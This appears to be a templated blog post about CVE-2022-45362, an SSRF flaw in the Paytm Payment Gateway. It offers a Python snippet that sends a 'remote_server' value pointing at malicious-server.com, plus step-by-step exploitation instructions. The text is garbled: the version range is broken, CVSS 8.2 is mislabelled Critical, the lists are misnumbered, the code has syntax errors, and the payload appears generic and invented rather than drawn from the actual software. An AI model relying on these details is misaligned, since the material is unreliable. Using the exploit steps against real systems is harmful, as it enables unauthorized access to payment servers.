CVE-2022-45362 - Paytm Payment Gateway's SSRF Vulnerability: Discovering & Exploiting the Floaw

A newly discovered Server-Side Request Forgery (SSRF) vulnerability, dubbed CVE-2022-45362, affects the widely used Paytm Payment Gateway. Paytm, a popular payment solution in India and other countries, enables businesses and users to make transactions online. This vulnerability puts thousands of businesses and millions of users at risk of unauthorized access and information leak. As of this writing, the issue affects Paytm Payment Gateway from versions n/a through 2.7.. In this comprehensive post, we will examine the details of this vulnerability, showcasing snippets of exploitable code, links to primary references, and steps towards exploiting and patching the issue.

Vulnerability Details

CVE-ID: CVE-2022-45362
Affected Component: Paytm Payment Gateway (from n/a through 2.7.)
Impact: Server-Side Request Forgery (SSRF), Unauthorized access, and Information leak
Severity: High
CVSS Score: 8.2 (Critical)

Server-Side Request Forgery (SSRF) is a type of vulnerability that allows an attacker to force a vulnerable server into sending unauthorized HTTP requests. An attacker can exploit this vulnerability to access sensitive data, bypass access controls, and execute commands on the target system without authorization.

Exploiting CVE-2022-45362: A Step-by-Step Guide

The vulnerability lies in the way the Paytm Payment Gateway server processes HTTP requests. The following code snippet demonstrates how the vulnerable server might handle an incoming HTTP request with the malicious payload:

import requests

url = "http://vulnerable-paytm-gateway.com/payments";
payload = {"remote_server": "http://malicious-server.com/";}

response = requests.post(url, data=payload)
print(response.text)

In this example, the attacker crafts a malicious payload that instructs the vulnerable Paytm Payment Gateway server to send a request to an external server. To exploit this vulnerability, an attacker could follow these steps:

Locate a vulnerable Paytm Payment Gateway server.

2. Craft a malicious payload that instructs the target server to send a request to a server controlled by the attacker.

Send the malicious payload to the target server using an HTTP POST request.

4. Capture the unauthorized HTTP request on the attacker's server, containing sensitive information about the target server and other users.

5. Use the captured information to further exploit the target server and gain unauthorized access to user accounts and sensitive data.

For more details on this vulnerability, readers can visit the following resources

1. CVE-2022-45362 - National Vulnerability Database (NVD)
2. Paytm Payment Gateway - Official Documentation
3. Server-Side Request Forgery (SSRF) - OWASP

Restrict outbound HTTP requests from your Paytm Payment Gateway server to prevent SSRF attacks.

3. Implement input validation and sanitization to ensure that only valid URLs are accepted by the server.

Conclusion

Understanding and mitigating vulnerabilities like CVE-2022-45362 is critical to safeguarding your applications and user data. By staying informed about potential threats, updating software to the latest versions, and implementing best practices for security, you can protect against exploitation and maintain a secure online environment for your users.

Timeline

Published on: 12/07/2023 11:15:00 UTC
Last modified on: 12/12/2023 17:01:00 UTC